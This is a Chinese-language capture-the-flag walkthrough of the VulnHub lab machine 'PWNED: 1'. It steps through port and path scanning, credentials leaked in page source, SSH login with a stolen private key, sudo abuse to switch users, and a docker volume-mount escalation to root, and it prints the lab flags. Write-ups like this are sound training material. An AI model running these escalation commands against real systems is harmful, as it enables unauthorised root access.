一、前言
主要利用方式:深度路径扫描+源代码敏感信息(账号密码)泄露
FTP获取用户名及用户私钥rsa文件
以指定用户无密码执行文件,切换用户
存在docker 的suid权限,提升权限获取root权限
二、靶机信息
靶场: vulnhub.com
靶机名称: PWNED: 1
难度: 简单
发布时间: 2020年7月10日
下载地址:https://www.vulnhub.com/entry/pwned-1,507/
备注:深度路径扫描,要带密码本
docker的suid,一般容易忽略
三、虚拟机配置
VirtualBox、网络连接模式:NAT网络-NatNetwork、DHCP服务:启用、IP地址:自动分配
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.10
└─$ sudo nmap -p22,80 -sV -A 10.0.2.10
3、21和22端口没啥大问题,重点关注在80端口,访问靶机的web,以及路径常规扫描
http://10.0.2.10/
└─$ dirsearch -u 10.0.2.10
4、发现存在robots.txt文件,访问,在根据提示继续访问后续路径/nothing及nothing.html
http://10.0.2.10/robots.txt
http://10.0.2.10/nothing/nothing.html
5、再次使用nikto,也没有扫出啥问题
6、没发现啥更多的,只能更深度的扫描,用指定中高级别的路径字典扫描,经过扫描目录,发现一个新的hidden_text
└─$ dirsearch -u 10.0.2.10 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
http://10.0.2.10/hidden_text/secret.dic
7、经过路径和文件访问,只有pwned.vuln可以访问
http://10.0.2.10/pwned.vuln/
8、右键查看源代码,发现注释的代码,撸到个用户名密码(ftpuser/B0ss_B!TcH)
五、漏洞利用(突破边界)
9、直接上21及22,发现皆可以登录,并且都能登录ftpuser用户,并访问到share路径
10、发现两个文件,一个是rsa一个是友情提醒note,查看note文件,获取了有可能是账号的东西(ariana)
ftpuser@pwned:~/share$ cat note.txt
11、有一个用户(ariana),也有密钥是id_rsa,本着提醒都有用,它两估计有点关系,试试登录,把id_rsa拷贝到攻击机。
12、通过22端口ssh登录ariana用户,并拿到第一个flag
└─$ ssh -i id_rsa ariana@10.0.2.10
ariana@pwned:~$ cat user1.txt
flag:fb8d98be1265dd88bac522e1b2182140
13、使用sudo -l命令来检查任何用户执行任何文件或命令的root权限。
查看到曾以selena的身份免密执行/home/messenger.sh脚本文件
ariana@pwned:~$ sudo -l
14、查看messenger.sh权限,及文件内容
ariana@pwned:~$ ls -la /home/
ariana@pwned:~$ cat /home/messenger.sh
15、以特定selena用户身份进行执行messenger.sh,
ariana@pwned:~$ sudo -u selena /home/messenger.sh
16、升级tty,并查看selena的flag
python3 -c "import pty;pty.spawn('/bin/bash')"
selena@pwned:/home/ariana$ cd /home/selena/
selena@pwned:~$ cat user2.txt
711fdfc6caad532815a440f7f295c176
六、提权
17、selena存在docker 的shell权限,查询docker提权方式,并执行
https://gtfobins.github.io/gtfobins/docker/
selena@pwned:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
18、root权限下再次升级tty,查看root.txt 及靶机ip
python3 -c "import pty;pty.spawn('/bin/bash')"
root@e4f2596a7c9a:/# cd /root/
root@e4f2596a7c9a:~# ls
root@e4f2596a7c9a:~# cat root.txt
4d4098d64e163d2726959455d046fd7c